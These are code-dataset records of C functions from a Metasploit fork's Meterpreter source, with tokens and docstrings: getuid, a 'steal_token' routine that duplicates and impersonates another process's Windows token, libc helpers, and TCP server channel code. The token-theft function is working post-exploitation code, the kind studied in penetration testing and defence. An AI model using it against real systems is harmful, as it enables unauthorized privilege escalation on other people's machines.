packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username); } while (0); #else CHAR info[512]; uid_t ru, eu, su; gid_t rg, eg, sg; ru = eu = su = rg = eg = sg = 31337; getresuid(&ru, &eu, &su); getresgid(&rg, &eg, &sg); snprintf(info, sizeof(info)-1, "uid=%d, gid=%d, euid=%d, egid=%d, suid=%d, sgid=%d", ru, rg, eu, eg, su, sg); packet_add_tlv_string(response, TLV_TYPE_USER_NAME, info); #endif packet_transmit_response(res, remote, response); return res; }
[ "DWORD", "request_sys_config_getuid", "(", "Remote", "*", "remote", ",", "Packet", "*", "packet", ")", "{", "Packet", "*", "response", "=", "packet_create_response", "(", "packet", ")", ";", "DWORD", "res", "=", "ERROR_SUCCESS", ";", "#ifdef", "_WIN32", "CHAR", "username", "[", "512", "]", ",", "username_only", "[", "512", "]", ",", "domainname_only", "[", "512", "]", ";", "LPVOID", "TokenUserInfo", "[", "4096", "]", ";", "HANDLE", "token", ";", "DWORD", "user_length", "=", "sizeof", "(", "username_only", ")", ",", "domain_length", "=", "sizeof", "(", "domainname_only", ")", ";", "DWORD", "size", "=", "sizeof", "(", "username", ")", ",", "sid_type", "=", "0", ",", "returned_tokinfo_length", ";", "memset", "(", "username", ",", "0", ",", "sizeof", "(", "username", ")", ")", ";", "memset", "(", "username_only", ",", "0", ",", "sizeof", "(", "username_only", ")", ")", ";", "memset", "(", "domainname_only", ",", "0", ",", "sizeof", "(", "domainname_only", ")", ")", ";", "do", "{", "if", "(", "!", "OpenThreadToken", "(", "GetCurrentThread", "(", ")", ",", "TOKEN_QUERY", ",", "FALSE", ",", "&", "token", ")", ")", "OpenProcessToken", "(", "GetCurrentProcess", "(", ")", ",", "TOKEN_QUERY", ",", "&", "token", ")", ";", "if", "(", "!", "GetTokenInformation", "(", "token", ",", "TokenUser", ",", "TokenUserInfo", ",", "4096", ",", "&", "returned_tokinfo_length", ")", ")", "{", "res", "=", "GetLastError", "(", ")", ";", "break", ";", "}", "if", "(", "!", "LookupAccountSidA", "(", "NULL", ",", "(", "(", "TOKEN_USER", "*", ")", "TokenUserInfo", ")", "->", "User", ".", "Sid", ",", "username_only", ",", "&", "user_length", ",", "domainname_only", ",", "&", "domain_length", ",", "(", "PSID_NAME_USE", ")", "&", "sid_type", ")", ")", "{", "res", "=", "GetLastError", "(", ")", ";", "break", ";", "}", "_snprintf", "(", "username", ",", "512", ",", "\"", "\\\\", "\"", ",", "domainname_only", ",", "username_only", ")", ";", "username", "[", "511", "]", "=", "'", "\\0", "'", ";", "packet_add_tlv_string", "(", "response", ",", "TLV_TYPE_USER_NAME", ",", "username", ")", ";", "}", "while", "(", "0", ")", ";", "#else", "CHAR", "info", "[", "512", "]", ";", "uid_t", "ru", ",", "eu", ",", "su", ";", "gid_t", "rg", ",", "eg", ",", "sg", ";", "ru", "=", "eu", "=", "su", "=", "rg", "=", "eg", "=", "sg", "=", "31337", ";", "getresuid", "(", "&", "ru", ",", "&", "eu", ",", "&", "su", ")", ";", "getresgid", "(", "&", "rg", ",", "&", "eg", ",", "&", "sg", ")", ";", "snprintf", "(", "info", ",", "sizeof", "(", "info", ")", "-", "1", ",", "\"", "\"", ",", "ru", ",", "rg", ",", "eu", ",", "eg", ",", "su", ",", "sg", ")", ";", "packet_add_tlv_string", "(", "response", ",", "TLV_TYPE_USER_NAME", ",", "info", ")", ";", "#endif", "packet_transmit_response", "(", "res", ",", "remote", ",", "response", ")", ";", "return", "res", ";", "}" ]
sys_getuid
[ "sys_getuid" ]
[ "// Make full name in DOMAIN\\USERNAME format\r", "// Transmit the response\r" ]
[ { "param": "remote", "type": "Remote" }, { "param": "packet", "type": "Packet" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "remote", "type": "Remote", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "packet", "type": "Packet", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
c61fed7469cc9070101e23326b401dc00b935030
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/sys/config/config.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
request_sys_config_steal_token
DWORD
DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); #ifdef _WIN32 DWORD res = ERROR_SUCCESS; CHAR username[512], username_only[512], domainname_only[512]; LPVOID TokenUserInfo[4096]; HANDLE token = NULL; HANDLE handle = NULL; HANDLE xtoken = NULL; DWORD pid; DWORD user_length = sizeof(username_only), domain_length = sizeof(domainname_only); DWORD size = sizeof(username), sid_type = 0, returned_tokinfo_length; memset(username, 0, sizeof(username)); memset(username_only, 0, sizeof(username_only)); memset(domainname_only, 0, sizeof(domainname_only)); do { // Get the process identifier that we're attaching to, if any. pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); if (!pid) { res = -1; break; } handle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); if(!handle) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to open process handle for %d (%u)", pid, res); break; } if(! OpenProcessToken(handle, TOKEN_ALL_ACCESS, &token)){ res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to open process token for %d (%u)", pid, res); break; } if(! ImpersonateLoggedOnUser(token)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to impersonate token for %d (%u)", pid, res); break; } if(! DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &xtoken)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to duplicate a primary token for %d (%u)", pid, res); break; } core_update_thread_token(remote, xtoken); if (! GetTokenInformation(token, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to get token information for %d (%u)", pid, res); break; } if (!LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username_only, &user_length, domainname_only, &domain_length, (PSID_NAME_USE)&sid_type)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to lookup sid for %d (%u)", pid, res); break; } // Make full name in DOMAIN\USERNAME format _snprintf(username, 512, "%s\\%s", domainname_only, username_only); username[511] = '\0'; packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username); } while (0); if(handle) CloseHandle(handle); if(token) CloseHandle(token); #else DWORD res = ERROR_NOT_SUPPORTED; #endif // Transmit the response packet_transmit_response(res, remote, response); return res; }
/* * sys_steal_token * ---------- * * Steals the primary token from an existing process */
Steals the primary token from an existing process
[ "Steals", "the", "primary", "token", "from", "an", "existing", "process" ]
DWORD request_sys_config_steal_token(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); #ifdef _WIN32 DWORD res = ERROR_SUCCESS; CHAR username[512], username_only[512], domainname_only[512]; LPVOID TokenUserInfo[4096]; HANDLE token = NULL; HANDLE handle = NULL; HANDLE xtoken = NULL; DWORD pid; DWORD user_length = sizeof(username_only), domain_length = sizeof(domainname_only); DWORD size = sizeof(username), sid_type = 0, returned_tokinfo_length; memset(username, 0, sizeof(username)); memset(username_only, 0, sizeof(username_only)); memset(domainname_only, 0, sizeof(domainname_only)); do { pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID); if (!pid) { res = -1; break; } handle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); if(!handle) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to open process handle for %d (%u)", pid, res); break; } if(! OpenProcessToken(handle, TOKEN_ALL_ACCESS, &token)){ res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to open process token for %d (%u)", pid, res); break; } if(! ImpersonateLoggedOnUser(token)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to impersonate token for %d (%u)", pid, res); break; } if(! DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &xtoken)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to duplicate a primary token for %d (%u)", pid, res); break; } core_update_thread_token(remote, xtoken); if (! GetTokenInformation(token, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to get token information for %d (%u)", pid, res); break; } if (!LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username_only, &user_length, domainname_only, &domain_length, (PSID_NAME_USE)&sid_type)) { res = GetLastError(); dprintf("[STEAL-TOKEN] Failed to lookup sid for %d (%u)", pid, res); break; } _snprintf(username, 512, "%s\\%s", domainname_only, username_only); username[511] = '\0'; packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username); } while (0); if(handle) CloseHandle(handle); if(token) CloseHandle(token); #else DWORD res = ERROR_NOT_SUPPORTED; #endif packet_transmit_response(res, remote, response); return res; }
[ "DWORD", "request_sys_config_steal_token", "(", "Remote", "*", "remote", ",", "Packet", "*", "packet", ")", "{", "Packet", "*", "response", "=", "packet_create_response", "(", "packet", ")", ";", "#ifdef", "_WIN32", "DWORD", "res", "=", "ERROR_SUCCESS", ";", "CHAR", "username", "[", "512", "]", ",", "username_only", "[", "512", "]", ",", "domainname_only", "[", "512", "]", ";", "LPVOID", "TokenUserInfo", "[", "4096", "]", ";", "HANDLE", "token", "=", "NULL", ";", "HANDLE", "handle", "=", "NULL", ";", "HANDLE", "xtoken", "=", "NULL", ";", "DWORD", "pid", ";", "DWORD", "user_length", "=", "sizeof", "(", "username_only", ")", ",", "domain_length", "=", "sizeof", "(", "domainname_only", ")", ";", "DWORD", "size", "=", "sizeof", "(", "username", ")", ",", "sid_type", "=", "0", ",", "returned_tokinfo_length", ";", "memset", "(", "username", ",", "0", ",", "sizeof", "(", "username", ")", ")", ";", "memset", "(", "username_only", ",", "0", ",", "sizeof", "(", "username_only", ")", ")", ";", "memset", "(", "domainname_only", ",", "0", ",", "sizeof", "(", "domainname_only", ")", ")", ";", "do", "{", "pid", "=", "packet_get_tlv_value_uint", "(", "packet", ",", "TLV_TYPE_PID", ")", ";", "if", "(", "!", "pid", ")", "{", "res", "=", "-1", ";", "break", ";", "}", "handle", "=", "OpenProcess", "(", "PROCESS_QUERY_INFORMATION", ",", "FALSE", ",", "pid", ")", ";", "if", "(", "!", "handle", ")", "{", "res", "=", "GetLastError", "(", ")", ";", "dprintf", "(", "\"", "\"", ",", "pid", ",", "res", ")", ";", "break", ";", "}", "if", "(", "!", "OpenProcessToken", "(", "handle", ",", "TOKEN_ALL_ACCESS", ",", "&", "token", ")", ")", "{", "res", "=", "GetLastError", "(", ")", ";", "dprintf", "(", "\"", "\"", ",", "pid", ",", "res", ")", ";", "break", ";", "}", "if", "(", "!", "ImpersonateLoggedOnUser", "(", "token", ")", ")", "{", "res", "=", "GetLastError", "(", ")", ";", "dprintf", "(", "\"", "\"", ",", "pid", ",", "res", ")", ";", "break", ";", "}", "if", "(", "!", "DuplicateTokenEx", "(", "token", ",", "MAXIMUM_ALLOWED", ",", "NULL", ",", "SecurityIdentification", ",", "TokenPrimary", ",", "&", "xtoken", ")", ")", "{", "res", "=", "GetLastError", "(", ")", ";", "dprintf", "(", "\"", "\"", ",", "pid", ",", "res", ")", ";", "break", ";", "}", "core_update_thread_token", "(", "remote", ",", "xtoken", ")", ";", "if", "(", "!", "GetTokenInformation", "(", "token", ",", "TokenUser", ",", "TokenUserInfo", ",", "4096", ",", "&", "returned_tokinfo_length", ")", ")", "{", "res", "=", "GetLastError", "(", ")", ";", "dprintf", "(", "\"", "\"", ",", "pid", ",", "res", ")", ";", "break", ";", "}", "if", "(", "!", "LookupAccountSidA", "(", "NULL", ",", "(", "(", "TOKEN_USER", "*", ")", "TokenUserInfo", ")", "->", "User", ".", "Sid", ",", "username_only", ",", "&", "user_length", ",", "domainname_only", ",", "&", "domain_length", ",", "(", "PSID_NAME_USE", ")", "&", "sid_type", ")", ")", "{", "res", "=", "GetLastError", "(", ")", ";", "dprintf", "(", "\"", "\"", ",", "pid", ",", "res", ")", ";", "break", ";", "}", "_snprintf", "(", "username", ",", "512", ",", "\"", "\\\\", "\"", ",", "domainname_only", ",", "username_only", ")", ";", "username", "[", "511", "]", "=", "'", "\\0", "'", ";", "packet_add_tlv_string", "(", "response", ",", "TLV_TYPE_USER_NAME", ",", "username", ")", ";", "}", "while", "(", "0", ")", ";", "if", "(", "handle", ")", "CloseHandle", "(", "handle", ")", ";", "if", "(", "token", ")", "CloseHandle", "(", "token", ")", ";", "#else", "DWORD", "res", "=", "ERROR_NOT_SUPPORTED", ";", "#endif", "packet_transmit_response", "(", "res", ",", "remote", ",", "response", ")", ";", "return", "res", ";", "}" ]
sys_steal_token
[ "sys_steal_token" ]
[ "// Get the process identifier that we're attaching to, if any.\r", "// Make full name in DOMAIN\\USERNAME format\r", "// Transmit the response\r" ]
[ { "param": "remote", "type": "Remote" }, { "param": "packet", "type": "Packet" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "remote", "type": "Remote", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "packet", "type": "Packet", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
c6602748fb0d3a08052bb3ca0d4ed32c408e5d3c
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/netbsd/resolv/res_init.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
res_nclose
void
void res_nclose(res_state statp) { int ns; if (statp->_vcsock >= 0) { (void) close(statp->_vcsock); statp->_vcsock = -1; statp->_flags &= ~(RES_F_VC | RES_F_CONN); } for (ns = 0; ns < statp->_u._ext.nscount; ns++) { if (statp->_u._ext.nssocks[ns] != -1) { (void) close(statp->_u._ext.nssocks[ns]); statp->_u._ext.nssocks[ns] = -1; } } }
/* * This routine is for closing the socket if a virtual circuit is used and * the program wants to close it. This provides support for endhostent() * which expects to close the socket. * * This routine is not expected to be user visible. */
This routine is for closing the socket if a virtual circuit is used and the program wants to close it. This provides support for endhostent() which expects to close the socket. This routine is not expected to be user visible.
[ "This", "routine", "is", "for", "closing", "the", "socket", "if", "a", "virtual", "circuit", "is", "used", "and", "the", "program", "wants", "to", "close", "it", ".", "This", "provides", "support", "for", "endhostent", "()", "which", "expects", "to", "close", "the", "socket", ".", "This", "routine", "is", "not", "expected", "to", "be", "user", "visible", "." ]
void res_nclose(res_state statp) { int ns; if (statp->_vcsock >= 0) { (void) close(statp->_vcsock); statp->_vcsock = -1; statp->_flags &= ~(RES_F_VC | RES_F_CONN); } for (ns = 0; ns < statp->_u._ext.nscount; ns++) { if (statp->_u._ext.nssocks[ns] != -1) { (void) close(statp->_u._ext.nssocks[ns]); statp->_u._ext.nssocks[ns] = -1; } } }
[ "void", "res_nclose", "(", "res_state", "statp", ")", "{", "int", "ns", ";", "if", "(", "statp", "->", "_vcsock", ">=", "0", ")", "{", "(", "void", ")", "close", "(", "statp", "->", "_vcsock", ")", ";", "statp", "->", "_vcsock", "=", "-1", ";", "statp", "->", "_flags", "&=", "~", "(", "RES_F_VC", "|", "RES_F_CONN", ")", ";", "}", "for", "(", "ns", "=", "0", ";", "ns", "<", "statp", "->", "_u", ".", "_ext", ".", "nscount", ";", "ns", "++", ")", "{", "if", "(", "statp", "->", "_u", ".", "_ext", ".", "nssocks", "[", "ns", "]", "!=", "-1", ")", "{", "(", "void", ")", "close", "(", "statp", "->", "_u", ".", "_ext", ".", "nssocks", "[", "ns", "]", ")", ";", "statp", "->", "_u", ".", "_ext", ".", "nssocks", "[", "ns", "]", "=", "-1", ";", "}", "}", "}" ]
This routine is for closing the socket if a virtual circuit is used and the program wants to close it.
[ "This", "routine", "is", "for", "closing", "the", "socket", "if", "a", "virtual", "circuit", "is", "used", "and", "the", "program", "wants", "to", "close", "it", "." ]
[]
[ { "param": "statp", "type": "res_state" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "statp", "type": "res_state", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
c9c2a540450fccdcfa3477f0369c9cab1084d7d7
Oxicode/metasploit-framework
external/source/meterpreter/source/bionic/libc/unistd/sigwait.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
sigwait
int
int sigwait(const sigset_t *set, int *sig) { int ret; /* use a union to get rid of aliasing warnings */ union { unsigned long kernel_sigset[2]; sigset_t dummy_sigset; } u; u.kernel_sigset[0] = *set; u.kernel_sigset[1] = 0; /* no real-time signals supported ? */ for (;;) { /* __rt_sigtimedwait can return EAGAIN or EINTR, we need to loop * around them since sigwait is only allowed to return EINVAL */ ret = __rt_sigtimedwait ( &u.dummy_sigset, NULL, NULL, sizeof(u.kernel_sigset)); if (ret >= 0) break; if (errno != EAGAIN && errno != EINTR) return errno; } *sig = ret; return 0; }
/* ok, this is really subtle: <asm/signal.h> defines sigset_t differently * when you're in the kernel or in the C library. * * in the kernel, this is an array of 2 32-bit unsigned longs * in the C library, this is a single 32-bit unsigned long * * moreover, the kernel implementation of rt_sigtimedwait doesn't * accept anything except kernel-sized signal sets (probably a bug !) * * we thus need to create a fake kernel sigset !! */
ok, this is really subtle: defines sigset_t differently when you're in the kernel or in the C library. in the kernel, this is an array of 2 32-bit unsigned longs in the C library, this is a single 32-bit unsigned long moreover, the kernel implementation of rt_sigtimedwait doesn't accept anything except kernel-sized signal sets (probably a bug !) we thus need to create a fake kernel sigset
[ "ok", "this", "is", "really", "subtle", ":", "defines", "sigset_t", "differently", "when", "you", "'", "re", "in", "the", "kernel", "or", "in", "the", "C", "library", ".", "in", "the", "kernel", "this", "is", "an", "array", "of", "2", "32", "-", "bit", "unsigned", "longs", "in", "the", "C", "library", "this", "is", "a", "single", "32", "-", "bit", "unsigned", "long", "moreover", "the", "kernel", "implementation", "of", "rt_sigtimedwait", "doesn", "'", "t", "accept", "anything", "except", "kernel", "-", "sized", "signal", "sets", "(", "probably", "a", "bug", "!", ")", "we", "thus", "need", "to", "create", "a", "fake", "kernel", "sigset" ]
int sigwait(const sigset_t *set, int *sig) { int ret; union { unsigned long kernel_sigset[2]; sigset_t dummy_sigset; } u; u.kernel_sigset[0] = *set; u.kernel_sigset[1] = 0; for (;;) { ret = __rt_sigtimedwait ( &u.dummy_sigset, NULL, NULL, sizeof(u.kernel_sigset)); if (ret >= 0) break; if (errno != EAGAIN && errno != EINTR) return errno; } *sig = ret; return 0; }
[ "int", "sigwait", "(", "const", "sigset_t", "*", "set", ",", "int", "*", "sig", ")", "{", "int", "ret", ";", "union", "{", "unsigned", "long", "kernel_sigset", "[", "2", "]", ";", "sigset_t", "dummy_sigset", ";", "}", "u", ";", "u", ".", "kernel_sigset", "[", "0", "]", "=", "*", "set", ";", "u", ".", "kernel_sigset", "[", "1", "]", "=", "0", ";", "for", "(", ";", ";", ")", "{", "ret", "=", "__rt_sigtimedwait", "(", "&", "u", ".", "dummy_sigset", ",", "NULL", ",", "NULL", ",", "sizeof", "(", "u", ".", "kernel_sigset", ")", ")", ";", "if", "(", "ret", ">=", "0", ")", "break", ";", "if", "(", "errno", "!=", "EAGAIN", "&&", "errno", "!=", "EINTR", ")", "return", "errno", ";", "}", "*", "sig", "=", "ret", ";", "return", "0", ";", "}" ]
ok, this is really subtle: <asm/signal.h> defines sigset_t differently when you're in the kernel or in the C library.
[ "ok", "this", "is", "really", "subtle", ":", "<asm", "/", "signal", ".", "h", ">", "defines", "sigset_t", "differently", "when", "you", "'", "re", "in", "the", "kernel", "or", "in", "the", "C", "library", "." ]
[ "/* use a union to get rid of aliasing warnings */", "/* no real-time signals supported ? */", "/* __rt_sigtimedwait can return EAGAIN or EINTR, we need to loop\n * around them since sigwait is only allowed to return EINVAL\n */" ]
[ { "param": "set", "type": "sigset_t" }, { "param": "sig", "type": "int" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "set", "type": "sigset_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "sig", "type": "int", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
a24bfa6268c089ad6da22e9a31a388a83be446c2
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
free_tcp_server_context
VOID
VOID free_tcp_server_context( TcpServerContext * ctx ) { do { if( !ctx ) break; dprintf( "[TCP-SERVER] free_tcp_server_context. ctx=0x%08X", ctx ); if( ctx->fd ) { closesocket( ctx->fd ); ctx->fd = 0; } if( ctx->channel ) { channel_close( ctx->channel, ctx->remote, NULL, 0, NULL ); ctx->channel = NULL; } if( ctx->notify ) { scheduler_remove_waitable( ctx->notify ); ctx->notify = NULL; } free( ctx ); } while( 0 ); }
/* * Deallocates and cleans up the attributes of a tcp server socket context */
Deallocates and cleans up the attributes of a tcp server socket context
[ "Deallocates", "and", "cleans", "up", "the", "attributes", "of", "a", "tcp", "server", "socket", "context" ]
VOID free_tcp_server_context( TcpServerContext * ctx ) { do { if( !ctx ) break; dprintf( "[TCP-SERVER] free_tcp_server_context. ctx=0x%08X", ctx ); if( ctx->fd ) { closesocket( ctx->fd ); ctx->fd = 0; } if( ctx->channel ) { channel_close( ctx->channel, ctx->remote, NULL, 0, NULL ); ctx->channel = NULL; } if( ctx->notify ) { scheduler_remove_waitable( ctx->notify ); ctx->notify = NULL; } free( ctx ); } while( 0 ); }
[ "VOID", "free_tcp_server_context", "(", "TcpServerContext", "*", "ctx", ")", "{", "do", "{", "if", "(", "!", "ctx", ")", "break", ";", "dprintf", "(", "\"", "\"", ",", "ctx", ")", ";", "if", "(", "ctx", "->", "fd", ")", "{", "closesocket", "(", "ctx", "->", "fd", ")", ";", "ctx", "->", "fd", "=", "0", ";", "}", "if", "(", "ctx", "->", "channel", ")", "{", "channel_close", "(", "ctx", "->", "channel", ",", "ctx", "->", "remote", ",", "NULL", ",", "0", ",", "NULL", ")", ";", "ctx", "->", "channel", "=", "NULL", ";", "}", "if", "(", "ctx", "->", "notify", ")", "{", "scheduler_remove_waitable", "(", "ctx", "->", "notify", ")", ";", "ctx", "->", "notify", "=", "NULL", ";", "}", "free", "(", "ctx", ")", ";", "}", "while", "(", "0", ")", ";", "}" ]
Deallocates and cleans up the attributes of a tcp server socket context
[ "Deallocates", "and", "cleans", "up", "the", "attributes", "of", "a", "tcp", "server", "socket", "context" ]
[]
[ { "param": "ctx", "type": "TcpServerContext" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "ctx", "type": "TcpServerContext", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
a24bfa6268c089ad6da22e9a31a388a83be446c2
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
tcp_channel_server_close
DWORD
DWORD tcp_channel_server_close( Channel * channel, Packet * request, LPVOID context ) { TcpServerContext * ctx = (TcpServerContext *)context; do { dprintf( "[TCP-SERVER] tcp_channel_server_close. channel=0x%08X, ctx=0x%08X", channel, ctx ); if( !ctx ) break; // Set the context channel to NULL so we don't try to close the // channel (since it's already being closed) ctx->channel = NULL; // Free the context free_tcp_server_context( ctx ); // Set the native channel operations context to NULL channel_set_native_io_context( channel, NULL ); } while( 0 ); return ERROR_SUCCESS; }
/* * Closes the server socket and brings down the client connections. */
Closes the server socket and brings down the client connections.
[ "Closes", "the", "server", "socket", "and", "brings", "down", "the", "client", "connections", "." ]
DWORD tcp_channel_server_close( Channel * channel, Packet * request, LPVOID context ) { TcpServerContext * ctx = (TcpServerContext *)context; do { dprintf( "[TCP-SERVER] tcp_channel_server_close. channel=0x%08X, ctx=0x%08X", channel, ctx ); if( !ctx ) break; ctx->channel = NULL; free_tcp_server_context( ctx ); channel_set_native_io_context( channel, NULL ); } while( 0 ); return ERROR_SUCCESS; }
[ "DWORD", "tcp_channel_server_close", "(", "Channel", "*", "channel", ",", "Packet", "*", "request", ",", "LPVOID", "context", ")", "{", "TcpServerContext", "*", "ctx", "=", "(", "TcpServerContext", "*", ")", "context", ";", "do", "{", "dprintf", "(", "\"", "\"", ",", "channel", ",", "ctx", ")", ";", "if", "(", "!", "ctx", ")", "break", ";", "ctx", "->", "channel", "=", "NULL", ";", "free_tcp_server_context", "(", "ctx", ")", ";", "channel_set_native_io_context", "(", "channel", ",", "NULL", ")", ";", "}", "while", "(", "0", ")", ";", "return", "ERROR_SUCCESS", ";", "}" ]
Closes the server socket and brings down the client connections.
[ "Closes", "the", "server", "socket", "and", "brings", "down", "the", "client", "connections", "." ]
[ "// Set the context channel to NULL so we don't try to close the\r", "// channel (since it's already being closed)\r", "// Free the context\r", "// Set the native channel operations context to NULL\r" ]
[ { "param": "channel", "type": "Channel" }, { "param": "request", "type": "Packet" }, { "param": "context", "type": "LPVOID" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "channel", "type": "Channel", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "request", "type": "Packet", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "context", "type": "LPVOID", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
a24bfa6268c089ad6da22e9a31a388a83be446c2
Oxicode/metasploit-framework
external/source/meterpreter/source/extensions/stdapi/server/net/socket/tcp_server.c
[ "Apache-2.0", "BSD-3-Clause" ]
C
tcp_channel_server_create_client
TcpClientContext
TcpClientContext * tcp_channel_server_create_client( TcpServerContext * serverctx, SOCKET sock ) { DWORD dwResult = ERROR_SUCCESS; TcpClientContext * clientctx = NULL; StreamChannelOps chops = {0}; do { if( !serverctx ) BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. serverctx == NULL", ERROR_INVALID_HANDLE ); clientctx = (TcpClientContext *)malloc( sizeof(TcpClientContext) ); if( !clientctx ) BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. clientctx == NULL", ERROR_NOT_ENOUGH_MEMORY ); memset( clientctx, 0, sizeof(TcpClientContext) ); clientctx->remote = serverctx->remote; clientctx->fd = sock; clientctx->notify = WSACreateEvent(); if( clientctx->notify == WSA_INVALID_EVENT ) BREAK_ON_WSAERROR( "[TCP-SERVER] tcp_channel_server_create_client. WSACreateEvent failed" ); if( WSAEventSelect( clientctx->fd, clientctx->notify, FD_READ|FD_CLOSE ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[TCP-SERVER] tcp_channel_server_create_client. WSAEventSelect failed" ); memset( &chops, 0, sizeof(StreamChannelOps) ); chops.native.context = clientctx; chops.native.write = tcp_channel_client_write; chops.native.close = tcp_channel_client_close; clientctx->channel = channel_create_stream( 0, 0, &chops ); if( !clientctx->channel ) BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE ); dwResult = scheduler_insert_waitable( clientctx->notify, clientctx, (WaitableNotifyRoutine)tcp_channel_client_local_notify ); } while( 0 ); if( dwResult != ERROR_SUCCESS ) { if( clientctx ) { free( clientctx ); clientctx = NULL; } } return clientctx; }
/* * Create a TCP client channel from a socket. */
Create a TCP client channel from a socket.
[ "Create", "a", "TCP", "client", "channel", "from", "a", "socket", "." ]
TcpClientContext * tcp_channel_server_create_client( TcpServerContext * serverctx, SOCKET sock ) { DWORD dwResult = ERROR_SUCCESS; TcpClientContext * clientctx = NULL; StreamChannelOps chops = {0}; do { if( !serverctx ) BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. serverctx == NULL", ERROR_INVALID_HANDLE ); clientctx = (TcpClientContext *)malloc( sizeof(TcpClientContext) ); if( !clientctx ) BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. clientctx == NULL", ERROR_NOT_ENOUGH_MEMORY ); memset( clientctx, 0, sizeof(TcpClientContext) ); clientctx->remote = serverctx->remote; clientctx->fd = sock; clientctx->notify = WSACreateEvent(); if( clientctx->notify == WSA_INVALID_EVENT ) BREAK_ON_WSAERROR( "[TCP-SERVER] tcp_channel_server_create_client. WSACreateEvent failed" ); if( WSAEventSelect( clientctx->fd, clientctx->notify, FD_READ|FD_CLOSE ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[TCP-SERVER] tcp_channel_server_create_client. WSAEventSelect failed" ); memset( &chops, 0, sizeof(StreamChannelOps) ); chops.native.context = clientctx; chops.native.write = tcp_channel_client_write; chops.native.close = tcp_channel_client_close; clientctx->channel = channel_create_stream( 0, 0, &chops ); if( !clientctx->channel ) BREAK_WITH_ERROR( "[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE ); dwResult = scheduler_insert_waitable( clientctx->notify, clientctx, (WaitableNotifyRoutine)tcp_channel_client_local_notify ); } while( 0 ); if( dwResult != ERROR_SUCCESS ) { if( clientctx ) { free( clientctx ); clientctx = NULL; } } return clientctx; }
